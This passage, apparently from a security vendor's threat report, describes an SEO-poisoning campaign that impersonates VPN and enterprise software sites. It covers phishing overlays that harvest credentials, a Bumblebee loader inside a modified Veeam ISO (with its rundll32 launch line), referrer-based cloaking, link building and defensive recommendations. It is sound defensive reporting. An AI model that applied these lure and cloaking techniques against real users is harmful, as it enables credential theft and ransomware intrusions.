srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7.png.webp 1781w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7-300x147.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7-1024x503.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7-768x377.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7-1536x755.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7-447x220.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7-297x146.png.webp 297w\" sizes=\"auto, (max-width: 1781px) 100vw, 1781px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 7. Example of polyglot payload with icon data prepended to the HTA file                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>We<span lang=\"EN-US\">b-based credential phishing<\/span><\/h2>\n<p>WithSecure identified a secondary method the threat actor employed to harvest VPN credentials using the same VPN software download lure described in the previous section. Rather than relying purely on file-based attack chains, the threat actor deployed phishing pages that harvested VPN credentials in some instances. For example, the victim would land on the download sites via SEO poisoning, but upon pressing the download link a phishing form would be overlayed, prompting the user to enter their VPN credentials. The entered VPN credentials would then be exfiltrated to an attacker-controlled domain and the legitimate software installer would be downloaded as a decoy. WithSecure identified the threat actor leveraging this technique to harvest VPN credentials for at least:<\/p>\n<ul>\n<li>NordLayer VPN<\/li>\n<li>Fortinet FortiClient<\/li>\n<li>BIG-IP Edge client<\/li>\n<li>SonicWall NetExtender<\/li>\n<li>Ivanti Secure Access<\/li>\n<li>WatchGuard VPN<\/li>\n<\/ul>\n<p>Examples of the phishing pages are shown in figures 8 and 9.<\/p>\n<p>&nbsp;<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1644\" height=\"932\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8.png.webp 1644w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8-300x170.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8-1024x581.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8-768x435.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8-1536x871.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8-447x253.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_8-258x146.png.webp 258w\" sizes=\"auto, (max-width: 1644px) 100vw, 1644px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 8. Example of phishing form to harvest VPN credentials &#8211; SonicWall NetExtender                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1646\" height=\"927\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9.png.webp 1646w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9-300x169.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9-1024x577.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9-768x433.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9-1536x865.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9-447x252.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9-700x394.png.webp 700w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_9-259x146.png.webp 259w\" sizes=\"auto, (max-width: 1646px) 100vw, 1646px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 9. Example of phishing form to harvest VPN credentials &#8211; Ivanti Secure Access                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>Beyond VPN credentials, WithSecure also observed the threat actor leverage phishing pages to target credentials for remote desktop software such as Microsoft\u2019s Remote Desktop Services web client (RDWeb) and Getscreen.me. In these instances, the lookalike sites acted as logon portals that would exfiltrate any entered logon credentials while showing an error message as decoy afterwards. An example is shown in figure 10.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1319\" height=\"933\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_10.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_10.png.webp 1319w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_10-300x212.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_10-1024x724.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_10-768x543.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_10-447x316.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_10-206x146.png.webp 206w\" sizes=\"auto, (max-width: 1319px) 100vw, 1319px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 10. Example of fake Getscreen.me logon portal exfiltrating entered credentials                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>The Bumblebee still stings<\/h2>\n<p>Several of the associated domains WithSecure found since March 2026 masqueraded as sites for software other than VPN and remote desktop applications. These included:<\/p>\n<ol>\n<li>Azure CLI<\/li>\n<li>PingPlotter<\/li>\n<li>Nx Witness<\/li>\n<li>Veeam Backup and Replication<\/li>\n<\/ol>\n<p>These lookalike sites led to Bumblebee loader infections. The threat actor has leveraged Bumblebee loader throughout their <a href=\"https:\/\/www.cyjax.com\/resources\/blog\/a-sting-on-bing-bumblebee-delivered-through-bing-seo-poisoning-campaign\" target=\"_blank\" rel=\"noopener\">earliest<\/a> traced activity, dating between the second and third quarters of 2025. All the latest identified Bumblebee payloads contained the campaign ID: \u201c1000\u201d. Historical campaign IDs included: \u201cgrp0003\u201d and \u201cgrp0004\u201d.<\/p>\n<p>For example, an associated lookalike site found in August 2026 for Veeam Backup &amp; Replication software contained a Dropbox-hosted download link. The downloaded file was a modified ISO image for the respective software, with three modified or newly added files including:<\/p>\n<ol>\n<li>Setup.exe, the original setup executable, modified to import veeamstat.dll<\/li>\n<li>veeamstat.dll, a custom loader intended to run the main payload (x64.dll) via rundll32.exe &#8220;&lt;SetupDir&gt;\\EnterpriseManager\\x64.dll&#8221;,DllRegisterServer<\/li>\n<li>x64.dll, VMProtect-packed Bumblebee loader<\/li>\n<\/ol>\n<p>This discovery indicates the threat actor\u2019s continued interest in targeting victims using a wide array of software within enterprise environments. Bumblebee loader infections through this campaign have been previously <a href=\"https:\/\/thedfirreport.com\/2026\/06\/29\/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-3\/\" target=\"_blank\" rel=\"noopener\">reported<\/a> to lead to Akira ransomware intrusions. It is noteworthy that the Bumblebee loader was subject to an international takedown operation dubbed <a href=\"https:\/\/www.europol.europa.eu\/media-press\/newsroom\/news\/largest-ever-operation-against-botnets-hits-dropper-malware-ecosystem\" target=\"_blank\" rel=\"noopener\">Operation Endgame<\/a> in May 2024, however the loader <a href=\"https:\/\/www.netskope.com\/blog\/new-bumblebee-loader-infection-chain-signals-possible-resurgence\" target=\"_blank\" rel=\"noopener\">resurfaced<\/a> several months later, albeit at nowhere near the same level of activity.<\/p>\n<h2>Getting to the frontpage<\/h2>\n<p>The threat actor employs several blackhat SEO techniques, including <a href=\"https:\/\/en.wikipedia.org\/wiki\/Cloaking\" target=\"_blank\" rel=\"noopener\">cloaking<\/a> and <a href=\"https:\/\/en.wikipedia.org\/wiki\/Link_building#Black_hat_link_building\" target=\"_blank\" rel=\"noopener\">link building<\/a>, to enhance the authenticity of the lookalike domains and boost their visibility across search results.<\/p>\n<p>As part of their cloaking scheme, the domains serve a benign SEO-friendly website (referred to as \u201cwhite page\u201d) to any request that isn\u2019t redirected from a search engine, such as search engine crawlers. Meanwhile, requests originating from a search engine are served the malicious content (referred to as \u201coffer\u201d or \u201cblack\u201d page). Incidentally, this mechanism also serves as an anti-analysis technique.<\/p>\n<p>WithSecure found an example of a custom cloaking script employed by the threat actor across some instances which filtered requests based on the visitor\u2019s browser, operating system, and the request\u2019s referrer header field, which is used to check whether the request originates from a supported search engine. An example code snippet is shown in figure 11. Notably, the list of supported search engines also contained entries for ChatGPT and Copilot to allow requests originating from these platforms. In addition to the custom cloaking script, WithSecure also found evidence of a third-party cloaking service used by the threat actor, namely cloaking[.]house.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"2560\" height=\"1638\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-scaled.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-scaled.png.webp 2560w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-300x192.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-1024x655.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-768x491.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-1536x983.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-2048x1310.png.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-447x286.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_11-228x146.png.webp 228w\" sizes=\"auto, (max-width: 2560px) 100vw, 2560px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 11. Example code snippet of cloaking script                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>The content served across all the lookalike domains as white page were designed as \u201cunofficial guides\u201d related to the masqueraded software. These pages followed best SEO practices to improve their search result ranking. On the other hand, the offer (or black) pages were scraped copies of the official download pages for the respective software. An example of a white page is shown in figure 12.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1200\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12.png.webp 1600w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12-300x225.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12-1024x768.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12-768x576.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12-1536x1152.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12-447x335.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_12-195x146.png.webp 195w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 12. White page masquerading as an unofficial guide for WatchGuard Mobile VPN client                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>WithSecure observed usage of ccTLDs (e.g. foobar.fi) across several of the identified lookalike domain names. The language used across these sites\u2019 metadata (such as the site description displayed across search engine results) as well as their white pages were in the respective country\u2019s main language. For example, French was used for domains ending with \u201c.fr\u201d. These geotargeting techniques were likely employed to expand the campaign\u2019s reach by boosting the ranking of these domains across search results in certain geographies. Nearly all identified geography-specific domains were in Europe. Despite these geotargeting techniques, WithSecure did not observe any explicit geo-fencing to these sites, indicating the targeting is global in scope. An example is shown in figure 13, where a user in Finland searching for NetExtender is served the lookalike domain netextender[.]fi among the top results. Additional examples of geotargeted search results are shown in figure 14.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1432\" height=\"647\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_13.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_13.png.webp 1432w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_13-300x136.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_13-1024x463.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_13-768x347.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_13-447x202.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_13-323x146.png.webp 323w\" sizes=\"auto, (max-width: 1432px) 100vw, 1432px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 13. User from Finland searching to download NetExtender                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"571\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1.png.webp 1920w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1-300x89.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1-1024x305.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1-768x228.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1-1536x457.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1-447x133.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_14-1-1-491x146.png.webp 491w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 14. Additional examples of geotargeted search results                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>Moreover, WithSecure observed the threat actor engage in blackhat link-building practices for some of the domains. For instance, we identified several backlinks to these lookalike domains injected across sites such as Private Blog Networks (PBNs). Examples are shown in figures 15 and 16.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1237\" height=\"1509\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_15.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_15.png.webp 1237w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_15-246x300.png.webp 246w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_15-839x1024.png.webp 839w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_15-768x937.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_15-447x545.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_15-120x146.png.webp 120w\" sizes=\"auto, (max-width: 1237px) 100vw, 1237px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 15. Example of backlinks across Private Blog Networks (PBNs)                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1452\" height=\"1272\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_16.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_16.png.webp 1452w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_16-300x263.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_16-1024x897.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_16-768x673.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_16-447x392.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_16-167x146.png.webp 167w\" sizes=\"auto, (max-width: 1452px) 100vw, 1452px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 16. Example of backlinks injected across page sidebar and footer                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>The Russian links<\/h2>\n<p>Throughout the investigation, WithSecure repeatedly observed the use of Russian language in the form of code comments, debug messages, and filenames across artifacts found throughout the attack chain.<\/p>\n<p>For instance, some of the cloned sites\u2019 resources contained filenames appended with \u201c\u0411\u0435\u0437 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u201d (Russian word for Untitled). An example is shown in figure 17.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"575\" height=\"663\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_17.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_17.png.webp 575w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_17-260x300.png.webp 260w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_17-447x515.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_17-127x146.png.webp 127w\" sizes=\"auto, (max-width: 575px) 100vw, 575px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 17. Example of Russian language used in filenames                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>Some of the phishing pages contained debug messages in Russian. An example is shown in figure 18.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"617\" height=\"296\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_18.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_18.png.webp 617w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_18-300x144.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_18-447x214.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_18-304x146.png.webp 304w\" sizes=\"auto, (max-width: 617px) 100vw, 617px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 18. Example of Russian language used in debug messages across phishing pages                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>We also identified code comments in Russian across the HTA infection chains. An example is shown in figure 19.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1204\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_19.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_19.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_19-191x300.png.webp 191w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_19-653x1024.png.webp 653w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_19-447x701.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_19-93x146.png.webp 93w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 19. Example of code comments across HTA infection chain                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>These indicators suggest development by a Russian-speaking threat actor, potentially hinting towards the threat actor\u2019s origin or cybercrime ecosystem they operate within.<\/p>\n<h2>Conclusion<\/h2>\n<p>SEO poisoning remains a popular initial attack vector amongst threat actors. With the goal of establishing an initial foothold in a victim\u2019s corporate environment, this campaign focuses on software such as VPN clients that are used in enterprise environments. By masquerading as trusted software and poisoning relevant search engine results, the threat actor hinges on the abuse of trust to lure users to malicious sites that can lead to credential phishing or malware delivery.<\/p>\n<p>The consequences extend well beyond that initial compromise. We assess the threat actor likely operates as an Initial Access Broker within the Ransomware-as-a-Service ecosystem. A single employee downloading what appears to be a legitimate VPN client can therefore expose an organization to extortion via data theft, data encryption, or both.<\/p>\n<p>The threat actor\u2019s multi-pronged approach and broader software impersonation reflect an opportunistic threat actor that leverages any means necessary to gain initial access into organizations in an indiscriminate fashion. This is reflected by their shift from PE-based payloads to polyglot HTA credential stealers, a parallel web-based phishing chain, the expansion from VPN clients into remote desktop and wider enterprise software, and the resurgence of Bumblebee loader behind increasingly mature blackhat SEO tradecraft.<\/p>\n<p>We suspect that the threat actor will continue leveraging this method for initial access, likely modifying parts of their tradecraft, such as delivered payloads and infrastructure, to further evade detection. However, by driving user awareness against these campaigns, their employed methods may become less effective over time, imposing a cost by forcing threat actors to adapt.<\/p>\n<p>A full list of Indicators of Compromise (IOCs) and relevant YARA rules can be found in WithSecure\u2019s GitHub [ <a href=\"https:\/\/github.com\/WithSecureLabs\/iocs\/tree\/master\/Initial_Access_SEO_Poisoning\/\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/WithSecureLabs\/iocs\/tree\/master\/Initial_Access_SEO_Poisoning\/<\/a> ].<\/p>\n<h2>Recommendations<\/h2>\n<ul>\n<li>Rotate potentially exposed VPN and remote desktop credentials immediately if compromise is assessed or suspected.<\/li>\n<li>Invest in Endpoint Protection, Detection and Response (EPP\/EDR) solutions with network and file reputation coverage, as well as behavioral coverage for abuse of living-off-the-land binaries such as mshta.exe and rundll32.exe, and ensure alerts are triaged and actioned promptly.<\/li>\n<li>Restrict execution of HTML applications by blocking or limiting mshta.exe through application control solutions (e.g. AppLocker or WDAC) based on business needs and treat internet-downloaded container formats such as ISO images with heightened scrutiny.<\/li>\n<li>Enforce multi-factor authentication (MFA) for VPN, remote desktop, and other remote access services, preferring phishing-resistant methods such as FIDO2 or certificate-based authentication so that stolen credentials alone are insufficient to gain access.<\/li>\n<li>Ensure minimum privilege for VPN and remote desktop accounts and segment the network to limit the reach of a compromised account, reducing the value of harvested credentials to an Initial Access Broker and their customers.<\/li>\n<li>Drive user training and awareness to download software only from official vendor sites or an internal software portal rather than trusting top search results, noting that this campaign also accommodates traffic originating from AI assistants such as ChatGPT and Copilot.<\/li>\n<li>Distribute VPN clients and other enterprise software through managed channels, such as an internal software catalogue or endpoint management tooling, removing the need for users to search the web for installers.<\/li>\n<li>Leverage the published IOCs and YARA rules to hunt for related activity across endpoint and network telemetry.<\/li>\n<\/ul>\n<h2>WithSecure&#8217;s detection coverage<\/h2>\n<p>WithSecure\u2122 Elements Endpoint Protection and WithSecure\u2122 Elements Detection and Response offer detection and protection across various stages of the attack lifecycle.<\/p>\n<p>WithSecure\u2122 Elements Endpoint Protection detections include:<\/p>\n<ul>\n<li>Trojan:HTA\/Hermes.A<\/li>\n<li>Trojan.TR\/W64.MalwareX<\/li>\n<\/ul>\n<p>WithSecure\u2122 Elements Endpoint Detection and Response detections include:<\/p>\n<ul>\n<li>Suspicious Mshta Location<\/li>\n<li>Network Mshta<\/li>\n<\/ul>\n<h2><span lang=\"EN-US\">MITRE ATT&amp;CK mapping<\/span><\/h2>\n<table style=\"width: 100%; border-collapse: collapse;\" border=\"1\">\n<tbody>\n<tr>\n<td style=\"width: 33.3333%;\">Name<\/td>\n<td style=\"width: 33.3333%;\">ID<\/td>\n<td style=\"width: 33.3333%;\">Description<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Acquire Infrastructure: Domains<\/td>\n<td style=\"width: 33.3333%;\">T1583.001<\/td>\n<td style=\"width: 33.3333%;\">The threat actor registered lookalike domains impersonating VPN, remote desktop, and enterprise software, including geotargeted ccTLD domains (e.g. netextender[.]fi).<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Acquire Infrastructure: Web Services<\/td>\n<td style=\"width: 33.3333%;\">T1583.006<\/td>\n<td style=\"width: 33.3333%;\">The threat actor leveraged legitimate third-party services, such as Dropbox and GitHub, to host malicious payloads.<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 33.3333%;\">Stage Capabilities: Upload Malware<\/td>\n<td style=\"width: 